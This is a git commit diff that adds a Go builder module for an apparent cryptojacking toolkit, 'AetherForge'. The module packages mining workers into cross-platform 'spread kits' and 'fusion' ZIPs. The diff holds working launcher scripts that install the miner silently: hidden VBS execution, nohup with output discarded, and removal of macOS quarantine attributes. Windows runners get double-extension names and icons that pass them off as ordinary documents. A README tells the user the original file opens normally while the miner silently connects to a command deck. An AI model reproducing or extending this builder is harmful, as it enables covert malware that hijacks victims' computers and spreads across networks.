Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
primary = w
|
||||
}
|
||||
zipSt, _ := os.Stat(zipPath)
|
||||
zipBytes := int64(0)
|
||||
if zipSt != nil {
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||
FileSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes,
|
||||
FusionExportDir: outDir,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if title == "" {
|
||||
title = payloadBase
|
||||
}
|
||||
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if titleBase == "" {
|
||||
titleBase = "fusion"
|
||||
}
|
||||
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
var fusionResults []*fusionBuildResult
|
||||
var primaryPath string
|
||||
for _, p := range platforms {
|
||||
workerPath := workers[p.Label()]
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
primaryPath = destRunner
|
||||
}
|
||||
if p.GOOS == "darwin" {
|
||||
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||
if mode == "paired" && prepPath != "" {
|
||||
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||
_ = copyFile(prepPath, destPayload)
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||
"What happens when launched:\r\n" +
|
||||
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
}
|
||||
zipSt2, _ := os.Stat(zipPath)
|
||||
zipBytes2 := int64(0)
|
||||
if zipSt2 != nil {
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||
FileSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
FusionEnabled: true,
|
||||
FusionExportDir: outDir,
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes2,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primaryPath
|
||||
}
|
||||
|
||||
func runnerNameForPlatform(p BuildPlatform) string {
|
||||
if p.GOOS == "windows" {
|
||||
return "runner.exe"
|
||||
}
|
||||
return "runner"
|
||||
}
|
||||
|
||||
func fileSize(st os.FileInfo) int64 {
|
||||
if st == nil {
|
||||
return 0
|
||||
}
|
||||
return st.Size()
|
||||
}
|
||||
|
||||
const universalDeploySh = `#!/bin/sh
|
||||
set -e
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
export AETHER_KIT_DIR="$DIR"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then
|
||||
echo "Worker binary missing: $RUN"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||
exit 0
|
||||
`
|
||||
|
||||
func spreadKitDeploySh() string {
|
||||
return universalDeploySh
|
||||
}
|
||||
|
||||
const spreadKitDeployBatBody = `@echo off
|
||||
setlocal
|
||||
set "DIR=%~dp0"
|
||||
set "AETHER_KIT_DIR=%DIR%"
|
||||
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||
if not exist "%RUN%" (
|
||||
echo Worker missing: %RUN%
|
||||
exit /b 1
|
||||
)
|
||||
start "" /B "%RUN%" --spread-install
|
||||
exit /b 0
|
||||
`
|
||||
|
||||
func spreadKitDeployBat() string {
|
||||
return spreadKitDeployBatBody
|
||||
}
|
||||
|
||||
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||
run = dir & "bin\windows-amd64\worker.exe"
|
||||
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||
WScript.Echo "Worker missing: " & run
|
||||
WScript.Quit 1
|
||||
End If
|
||||
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||
sh.Run """" & run & """ --spread-install", 0, False
|
||||
`
|
||||
|
||||
func spreadKitDeployVbs() string {
|
||||
return spreadKitDeployVbsBody
|
||||
}
|
||||
|
||||
const spreadKitStartCommandBody = `#!/bin/bash
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
exec "$DIR/deploy.sh"
|
||||
`
|
||||
|
||||
func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
func fusionUniversalStartSh(title string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if base == "" {
|
||||
base = "runner"
|
||||
}
|
||||
runnerBase := sanitizeFileName(base + "-runner")
|
||||
return `#!/bin/sh
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
exec "$RUN"
|
||||
`
|
||||
}
|
||||
|
||||
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||
func fusionUniversalStartBat(title string) string {
|
||||
runnerExe := disguisedRunnerName(title)
|
||||
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||
}
|
||||
|
||||
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||
func fusionUniversalStartCommand() string {
|
||||
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||
}
|
||||
|
||||
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||
=====================================
|
||||
|
||||
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||
|
||||
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||
macOS: double-click Start.command (or ./deploy.sh)
|
||||
|
||||
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||
|
||||
Command deck URL baked into workers: %s
|
||||
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||
|
||||
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||
`, req.WorkerName, req.ServerURL)
|
||||
}
|
||||
|
||||
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||
Worker: %s
|
||||
Build ID: %s
|
||||
Command URL: %s
|
||||
Pool: %s:%d
|
||||
Wallet: %s…
|
||||
Auto-spread: %v
|
||||
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||
|
||||
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||
}
|
||||
|
||||
func truncateWallet(w string) string {
|
||||
w = strings.TrimSpace(w)
|
||||
if len(w) <= 16 {
|
||||
return w
|
||||
}
|
||||
return w[:16]
|
||||
}
|
||||
Reference in New Issue
Block a user